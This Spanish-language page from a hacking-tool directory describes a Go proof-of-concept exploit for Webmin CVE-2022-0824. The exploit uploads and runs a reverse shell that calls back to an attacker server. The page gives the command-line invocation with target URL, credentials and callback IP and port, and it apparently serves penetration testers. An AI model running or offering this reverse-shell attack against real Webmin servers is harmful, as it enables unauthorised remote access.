Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
golang-webmin-CVE-2022-0824-revshell — Prueba de concepto de exploit para CVE-2022-0824 | Kitploit
Herramientas/GitHubGitHub/pizza-power/golang-webmin-cve-2022-0824-revshell
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubpizza-power/golang-webmin-cve-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell

Prueba de concepto de exploit para CVE-2022-0824

Ver Repositorio
32hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

golang-webmin-CVE-2022-0824-revshell

RCE en Webmin <= 1.984

CVE-2022-0824 y CVE-2022-0829

Esto explota una vulnerabilidad BAC en Webmin para subir un archivo malicioso, cambiar los permisos del archivo y ejecutarlo. El archivo, creado en la función makePayload, es una reverse shell que se conecta de vuelta a un servidor controlado por el atacante.

Uso

go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "usuario:contraseña" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444

t -> url objetivo
c -> credenciales para webmin
sl -> IP y puerto de tu servidor local para alojar tu payload
s -> IP de callback
p -> puerto de callback

Referencias

https://www.webmin.com/security.html
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/CVE-2022-0824

Descargar herramienta